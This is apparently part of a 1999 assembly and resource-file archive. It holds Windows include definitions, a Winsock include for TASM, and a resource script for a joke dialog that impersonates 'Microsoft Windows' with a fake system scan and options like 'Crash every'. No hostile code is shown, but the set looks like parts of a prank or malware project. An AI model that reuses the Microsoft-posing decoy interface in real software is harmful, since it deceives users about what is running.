DCB_BitMask1 db ?
; BYTE fBinary: 1; /* Binary Mode (skip EOF check */
; BYTE fRtsDisable:1; /* Don't assert RTS at init time */
; BYTE fParity: 1; /* Enable parity checking */
; BYTE fOutxCtsFlow:1; /* CTS handshaking on output */
; BYTE fOutxDsrFlow:1; /* DSR handshaking on output */
; BYTE fDummy: 2; /* Reserved */
; BYTE fDtrDisable:1; /* Don't assert DTR at init time */
DCB_BitMask2 db ?
; BYTE fOutX: 1; /* Enable output X-ON/X-OFF */
; BYTE fInX: 1; /* Enable input X-ON/X-OFF */
; BYTE fPeChar: 1; /* Enable Parity Err Replacement */
; BYTE fNull: 1; /* Enable Null stripping */
; BYTE fChEvt: 1; /* Enable Rx character event. */
; BYTE fDtrflow: 1; /* DTR handshake on input */
; BYTE fRtsflow: 1; /* RTS handshake on input */
; BYTE fDummy2: 1;
DCB_XonChar db ? ; /* Tx and Rx X-ON character */
DCB_XoffChar db ? ; /* Tx and Rx X-OFF character */
DCB_XonLim dw ? ; /* Transmit X-ON threshold */
DCB_XoffLim dw ? ; /* Transmit X-OFF threshold */
DCB_PeChar db ? ; /* Parity error replacement char */
DCB_EofChar db ? ; /* End of Input character */
DCB_EvtChar db ? ; /* Recieved Event character */
DCB_TxDelay dw ? ; /* Amount of time between chars */
DCB ends
COMSTAT struc
COMS_BitMask1 db ?
; BYTE fCtsHold: 1; /* Transmit is on CTS hold */
; BYTE fDsrHold: 1; /* Transmit is on DSR hold */
; BYTE fRlsdHold: 1; /* Transmit is on RLSD hold */
; BYTE fXoffHold: 1; /* Received handshake */
; BYTE fXoffSent: 1; /* Issued handshake */
; BYTE fEof: 1; /* End of file character found */
; BYTE fTxim: 1; /* Character being transmitted */
COMS_cbInQue dw ? ; /* count of characters in Rx Queue */
COMS_cbOutQue dw ? ; /* count of characters in Tx Queue */
COMSTAT ends
ENDIF ;NOCOM
;
; Installable Driver Support
;
; Driver Messages
DRV_LOAD = 0001h
DRV_ENABLE = 0002h
DRV_OPEN = 0003h
DRV_CLOSE = 0004h
DRV_DISABLE = 0005h
DRV_FREE = 0006h
DRV_CONFIGURE = 0007h
DRV_QUERYCONFIGURE = 0008h
DRV_INSTALL = 0009h
DRV_REMOVE = 000Ah
DRV_EXITSESSION = 000Bh
DRV_POWER = 000Fh
DRV_RESERVED = 0800h
DRV_USER = 4000h
;LPARAM of DRV_CONFIGURE message and return values
DRVCONFIGINFO struc
DRVCNF_dwDCISize dw ?
DRVCNF_lpszDCISectionName dd ?
DRVCNF_lpszDCIAliasName dd ?
DRVCONFIGINFO ends
DRVCNF_CANCEL = 0000h
DRVCNF_OK = 0001h
DRVCNF_RESTART = 0002h
IFNDEF NOKERNEL
;
; Common Kernel errors
;
ERR_GALLOC = 01030h ; GlobalAlloc Failed
ERR_GREALLOC = 01031h ; GlobalReAlloc Failed
ERR_GLOCK = 01032h ; GlobalLock Failed
ERR_LALLOC = 01033h ; LocalAlloc Failed
ERR_LREALLOC = 01034h ; LocalReAlloc Failed
ERR_LLOCK = 01035h ; LocalLock Failed
ERR_ALLOCRES = 01036h ; AllocResource Failed
ERR_LOCKRES = 01037h ; LockResource Failed
ERR_LOADMODULE = 01038h ; LoadModule failed
;
; Common User Errors
;
ERR_CREATEDLG = 01045h ; /* Create Dlg failure due to LoadMenu failure */
ERR_CREATEDLG2 = 01046h ; /* Create Dlg failure due to CreateWindow Failure */
ERR_REGISTERCLASS = 01047h ; /* RegisterClass failure due to Class already registered */
ERR_DCBUSY = 01048h ; /* DC Cache is full */
ERR_CREATEWND = 01049h ; /* Create Wnd failed due to class not found */
ERR_STRUCEXTRA = 01050h ; /* Unallocated Extra space is used */
ERR_LOADSTR = 01051h ; /* LoadString() failed */
ERR_LOADMENU = 01052h ; /* LoadMenu Failed */
ERR_NESTEDBEGINPAINT = 01053h ; /* Nested BeginPaint() calls */
ERR_BADINDEX = 01054h ; /* Bad index to Get/Set Class/Window Word/Long */
ERR_CREATEMENU = 01055h ; /* Error creating menu */
;
; Common GDI Errors
;
ERR_CREATEDC = 01070h ; /* CreateDC/CreateIC etc., failure */
ERR_CREATEMETA = 01071h ; /* CreateMetafile failure */
ERR_DELOBJSELECTED = 01072h ; /* Bitmap being deleted is selected into DC */
ERR_SELBITMAP = 01073h ; /* Bitmap being selected is already selected elsewhere */
ENDIF ;NOKERNEL
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[WINDOWS.INC]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[WSOCKS.INC]<EFBFBD><EFBFBD><EFBFBD>
;
; WSocks.inc: include file for windows sockets .
; Designed for TASM5 and Win32.
;
; (C) 1999 Bumblebee.
;
; This file contains basic structures and stuff to work
; with windows sockets.
;
; Descriptions of the API:
; arguments in order of PUSH ;)
; only for debug
extrn WSAGetLastError:PROC
; starts the use of winsock dll
; addr WSADATA, version requested
; returns: 0 ok
extrn WSAStartup:PROC
; terminates the use of winsock dll
; returns: SOCK_ERR on error
extrn WSACleanup:PROC
; opens a new socket
; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)
; returns: socket id or SOCKET_ERR (socket is dw)
extrn socket:PROC
; closes a socket
; socket descriptor
;
extrn closesocket:PROC
; sends data (this socks are a shit... Unix uses simple write)
; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn send:PROC
; reveives data (this socks are a shit... Unix uses simple read)
; flags (use 0), length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn recv:PROC
; connects to a server
; sizeof struct SOCKADDR, struct SOCKADDR, socket
; returns: SOCKET_ERR on error
extrn connect:PROC
; gets the name of the current host
; length of the buffer for name, addr of buffer for name
; return: SOCKET_ERR on error
extrn gethostname:PROC
; gets strcut hostent
; addr of name
; returns: ponter to the struct or 0 on error
extrn gethostbyname:PROC
; converts a zstring like "xxx.xxx.xx...." to netw byte order
; zstring ptr to change to dotted addr format
; returns: in_addr (dd)
extrn inet_addr:PROC
; dw to convert into netw byte order (usually the port)
; returns: the value in network byte order (dw)
extrn htons:PROC
; Structs :o
; sockaddr struct for connection
; modified (for better use)
; if you want the original look for it into a winsock.h
SOCKADDR struct
sin_family dw 0 ; ex. AF_INET
sin_port dw 0 ; use htons for this
sin_addr dd 0 ; here goes server node (from inet_addr)
sin_zero db 8 dup(0)
SOCKADDR ends
; for WSAStartup diagnose
WSADATA struct
mVersion dw 0
mHighVersion dw 0
szDescription db 257 dup(0)
szSystemStatus db 129 dup(0)
iMaxSockets dw 0
iMaxUpdDg dw 0
lpVendorInfo dd 0
WSADATA ends
; Some nice equs
; what version of winsock do you need? (usually 1.1)
VERSION1_0 equ 0100h
VERSION1_1 equ 0101h
VERSION2_0 equ 0200h
AF_UNIX equ 1 ; local host
AF_INET equ 2 ; internet (most used)
AF_IMPLINK equ 3 ; arpanet
AF_NETBIOS equ 17 ; NetBios style addresses
; types of sockets
SOCK_STREAM equ 1 ; stream (connection oriented; telnet like)
SOCK_DGRAM equ 2 ; datagram (packets, packets, packets)
; protocol
PCL_NONE equ 0 ; none (define the protocol not needed)
SOCKET_ERR equ -1 ; standard winsock error
HOSTENT_IP equ 10h ; where is the IP into the hostent struct
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[WSOCKS.INC]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[ICECUBES.RC]<EFBFBD><EFBFBD><EFBFBD>
#define IDM_ABOUTBOX 0x0010
#define IDD_ABOUTBOX 100
#define IDS_ABOUTBOX 101
#define IDD_VKS_DIALOG_0 102
#define IDD_VKS_DIALOG_1 103
#define IDR_MAINFRAME 128
#define IDC_CHECK1 1000
#define IDC_CHECK2 1001
#define IDC_EDIT3 1003
#define IDC_SPIN1 1018
#define IDC_COMBO1 1004
#define IDC_EDIT1 1005
#define IDC_CHECK3 1006
#define IDC_CHECK4 1007
#define IDC_EDIT2 1008
#define IDC_BUTTON1 1009
#define IDC_BUTTON2 1014
#define IDC_CHECK5 1010
#define IDC_RADIO1 1012
#define IDC_RADIO2 1013
#define IDC_STATIC 1015
#define IDC_STATIC2 1016
11 ICON "icecubes.ico"
IDD_VKS_DIALOG_0 DIALOG 0, 0, 255, 20
STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE |
WS_CAPTION | WS_SYSMENU
CAPTION "Scanning system for Microsoft Windows Icecubes..."
FONT 8, "Verdana"
BEGIN
CONTROL "",105,"msctls_progress32",WS_CLIPSIBLINGS,5,5,244,11
END
IDD_VKS_DIALOG_1 DIALOG 0, 0, 233, 252
STYLE DS_MODALFRAME | DS_3DLOOK | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_APPWINDOW
CAPTION "Microsoft Windows Icecubes"
FONT 8, "MS Sans Serif"
BEGIN
LTEXT "Manufacturer's default settings (not to be edited)",
IDC_STATIC,13,8,200,8
GROUPBOX "Endurance options",IDC_STATIC,7,23,218,53
CONTROL "Crash every",IDC_CHECK1,"Button",BS_AUTOCHECKBOX |
WS_TABSTOP,15,36,50,10
CONTROL "Crash after",IDC_CHECK2,"Button",BS_AUTOCHECKBOX |
WS_TABSTOP,15,54,50,10
EDITTEXT IDC_EDIT3,75,35,34,12,ES_AUTOHSCROLL
CONTROL "Spin1",IDC_SPIN1,"msctls_updown32",UDS_ARROWKEYS,108,35,
8,12
COMBOBOX IDC_COMBO1,130,35,72,85,CBS_DROPDOWNLIST | CBS_SORT |
WS_VSCROLL | WS_TABSTOP
EDITTEXT IDC_EDIT1,75,53,43,13,ES_AUTOHSCROLL
LTEXT "bytes of un-saved changes",IDC_STATIC,130,55,94,13
GROUPBOX "Save options",IDC_STATIC,7,81,218,69
CONTROL "Create incredibly large files",IDC_CHECK3,"Button",
BS_AUTOCHECKBOX | WS_TABSTOP,15,94,163,10
CONTROL "Allow me to carry on typing during AutoRecovery saves",
IDC_CHECK4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,15,112,
195,10
LTEXT "Fail AutoRecovery at",IDC_STATIC,25,130,120,13
LTEXT "percent",IDC_STATIC2,125,130,50,13
EDITTEXT IDC_EDIT2,100,128,18,12,ES_AUTOHSCROLL
GROUPBOX "Other options",IDC_STATIC,7,157,218,70
CONTROL "Decrease boot speed by 70%",IDC_CHECK5,"Button",
BS_AUTOCHECKBOX | WS_TABSTOP,15,170,190,14
CONTROL "constantly",IDC_RADIO1,"Button",BS_AUTORADIOBUTTON,35,
198,48,10
CONTROL "when I least expect it",IDC_RADIO2,"Button",
BS_AUTORADIOBUTTON,35,210,83,10
LTEXT "Annoy me with that sodding paperclip",IDC_STATIC,25,186,
136,10
PUSHBUTTON "Cancel",IDC_BUTTON1,122,233,50,12
DEFPUSHBUTTON "Ok",IDC_BUTTON2,64,233,50,12
END